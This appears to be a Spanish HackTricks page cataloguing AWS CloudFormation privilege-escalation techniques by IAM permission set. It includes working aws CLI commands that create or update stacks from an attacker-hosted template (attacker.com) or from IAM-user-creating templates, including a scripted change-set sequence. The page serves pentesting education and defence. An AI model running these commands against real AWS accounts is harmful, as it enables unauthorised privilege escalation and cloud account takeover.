AWS - Cloudformation Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

cloudformation

Para obtener más información sobre cloudformation, consulta:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un atacante con estos permisos puede escalar privilegios creando una pila de CloudFormation con una plantilla personalizada, alojada en su servidor, para ejecutar acciones bajo los permisos de un rol especificado:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

En la siguiente página tienes un ejemplo de explotación con el permiso adicional cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impacto potencial: Escalada de privilegios al rol de servicio de cloudformation especificado.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

En este caso, puedes abusar de una pila de cloudformation existente para actualizarla y escalar privilegios como en el escenario anterior:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permisión cloudformation:SetStackPolicy se puede utilizar para darte a ti mismo permiso de UpdateStack sobre un stack y realizar el ataque.

Impacto potencial: Escalada de privilegios al rol de servicio de cloudformation especificado.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si tienes esta permisión pero no tienes iam:PassRole, aún puedes actualizar los stacks utilizados y abusar de los Roles IAM que ya tienen adjuntos. Ver la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).

La permisión cloudformation:SetStackPolicy se puede utilizar para darte a ti mismo permiso de UpdateStack sobre un stack y realizar el ataque.

Impacto potencial: Escalada de privilegios al rol de servicio de cloudformation ya adjunto.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un atacante con permisos para pasar un rol y crear y ejecutar un ChangeSet puede crear/actualizar un nuevo stack de cloudformation y abusar de los roles de servicio de cloudformation de la misma manera que con CreateStack o UpdateStack.

El siguiente exploit es una variación del uno de CreateStack utilizando los permisos de ChangeSet para crear un stack.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

El permiso cloudformation:SetStackPolicy se puede utilizar para otorgarte permisos de ChangeSet sobre una pila y llevar a cabo el ataque.

Impacto potencial: Escalada de privilegios a roles de servicio de cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Este método es similar al anterior sin pasar roles de IAM, por lo que simplemente puedes abusar de los que ya están adjuntos, solo modifica el parámetro:

--change-set-type UPDATE

Impacto Potencial: Escalada de privilegios al rol de servicio de cloudformation ya adjunto.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un atacante podría abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios.

Impacto Potencial: Escalada de privilegios a roles de servicio de cloudformation.

cloudformation:UpdateStackSet

Un atacante podría abusar de este permiso sin el permiso de passRole para actualizar StackSets y abusar de los roles de cloudformation adjuntos.

Impacto Potencial: Escalada de privilegios a los roles de cloudformation adjuntos.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización